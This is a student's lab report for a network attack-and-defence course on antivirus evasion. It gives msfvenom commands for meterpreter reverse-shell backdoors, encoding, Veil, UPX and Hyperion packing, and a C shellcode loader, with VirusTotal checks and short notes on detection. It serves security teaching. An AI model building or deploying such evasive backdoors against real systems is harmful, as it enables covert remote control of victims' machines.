2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践
实验步骤
1.正确使用msf编码器
1.输入如下的代码,生成
exp3.exe
文件,对后门程序进行编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.159.1 LPORT=5105 -f exe > exp3.exe
结果如下:
virustotal检测结果如下:
2.输入如下代码,生成
met-encoded1.exe
文件,相比上一条指令多了-i 10
,意思是编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.159.1 LPORT=5105 -f exe > exp3_encoded10.exe
结果如下:
virustotal检测结果如下:
2.msfvenom生成如其他类型文件
(1)生成jar文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 f jar > 20175105_java_backdoor.jar
结果如下:
用virustotal检测结果如下:
(2)生成jsp文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 x> 20175105_jsp.jsp
结果如下:
用virustotal检测结果如下:
3.veil
(1)veil安装
参考kali201703安装Veil Evasion和解决Veil—Evasion安装中git clone导致失败的问题,成功安装好veil
(2)输入veil
指令,进入如下页面
(3)使用veil生成后门程序
使用use 7
命令或use c/meterpreter/rev_tcp.py
命令,使用此种payload
使用set LHOST 192.168.159.1
和set LPORT 5105
来设置本地的IP地址和端口号
输入generate
生成
(5)用virustotal检测结果如下:
4.加壳工具
(1)使用upx压缩壳
使用upx 20175105_veil_backdoor.exe -o 20175105_veil_backdoor_upx.exe
命令加密刚才veil生成的程序
用virustotal检测结果如下:
(2)使用Hyperion加密壳
<2.1>查找hyperion.exe
路径
<2.2>进入管理员模式,通过cp 20175105_veil_backdoor_upx.exe /usr/share/windows-resources/hyperion
将刚才经过upx压缩的后门放到含有hyperion的文件夹下
<2.3>然后进入到上述目录中,输入wine hyperion.exe -v 20175105_veil_backdoor_upx.exe 20175105_veil_backdoor_upx_hyperion.exe
命令用hyperion加密后门程序
<2.4>用virustotal检测结果如下:
5.使用C + shellcode编程
(1)使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 -f c > callshellcode.c
命令生成一段shellcode到callshellcode.c
(2)打开callshellcode.c,添加代码如下:int main() { int (*func)() = (int(*)())buf; func(); }
(3)使用i686-w64-mingw32-g++ callshellcode.c -o 20175105_backdoor.exe
将c文件变成一个可执行程序。
(4)用virustotal检测结果如下:
6.使用其他课堂未介绍方法
(1)打开veil,输入
use evasion
,输入list
查看payload列表,输入use 16
尝试第16项go/meterpreter/rev_tcp
(2)设置本地IP地址、本地端口号后生成可执行程序
(3)virustotal检测结果如下:
问题回答
1.杀软是如何检测出恶意代码的?
基于特征码的检测:经过对许多恶意代码的分析,统筹出该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,称为该类恶意代码的特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
2.免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
3.免杀的基本方法有哪些?
改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件
4.开启杀软能绝对防止电脑中恶意代码吗?
不能,通过本次实验查阅的相关资料,证明杀软的病毒库是不断更新的,这也能证明,恶意代码也是在不断发展。
实验体会
本次实验相较前两次实验在知识面上扩展了许多,导致自己有些应接不暇,自己应该调整时间分配,在下次实验中表现得更好一些。